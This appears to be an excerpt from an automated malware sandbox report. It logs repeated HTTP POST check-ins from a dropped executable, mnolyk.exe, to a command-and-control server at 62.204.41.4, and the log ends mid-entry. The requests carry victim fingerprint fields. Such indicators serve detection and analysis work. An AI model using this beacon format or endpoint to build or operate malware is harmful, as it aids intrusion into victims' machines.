Feb 8, 2023 21:34:01.503734112 CET	762	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:01.570391893 CET	763	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
564	192.168.2.3	50267	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:01.755474091 CET	763	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:01.818662882 CET	764	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
565	192.168.2.3	50268	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:02.000197887 CET	764	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:02.066241980 CET	765	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
566	192.168.2.3	50269	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:02.235624075 CET	765	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:02.298657894 CET	766	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
567	192.168.2.3	50270	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:02.469353914 CET	766	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:02.533246040 CET	767	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
568	192.168.2.3	50271	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:02.703342915 CET	767	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:02.766514063 CET	768	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
569	192.168.2.3	50272	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:02.938055992 CET	768	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:03.001113892 CET	769	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49759	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:30.808118105 CET	258	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:30.872117996 CET	258	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
570	192.168.2.3	50273	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:03.177895069 CET	769	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:03.244455099 CET	770	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
571	192.168.2.3	50274	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:03.430516005 CET	770	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:03.495460987 CET	771	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
572	192.168.2.3	50275	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:03.675784111 CET	771	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:03.739691019 CET	772	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
573	192.168.2.3	50276	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:03.919337988 CET	772	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:03.984200954 CET	773	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
574	192.168.2.3	50277	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:04.178879976 CET	773	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:04.245558023 CET	774	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
575	192.168.2.3	50278	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:04.426126003 CET	774	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:04.490910053 CET	775	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
576	192.168.2.3	50279	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:04.664943933 CET	775	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:04.729394913 CET	776	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
577	192.168.2.3	50280	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:04.908554077 CET	776	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:04.973890066 CET	777	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
578	192.168.2.3	50281	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:05.145159960 CET	777	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:05.212060928 CET	778	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
579	192.168.2.3	50282	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:05.393872023 CET	778	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:05.457537889 CET	779	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49760	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:31.042505026 CET	259	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:31.108855009 CET	259	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49761	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:31.280569077 CET	260	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:31.344552040 CET	260	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49707	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:10.935837030 CET	206	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:11.000245094 CET	207	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49762	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:31.524264097 CET	261	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:31.588319063 CET	261	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49763	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
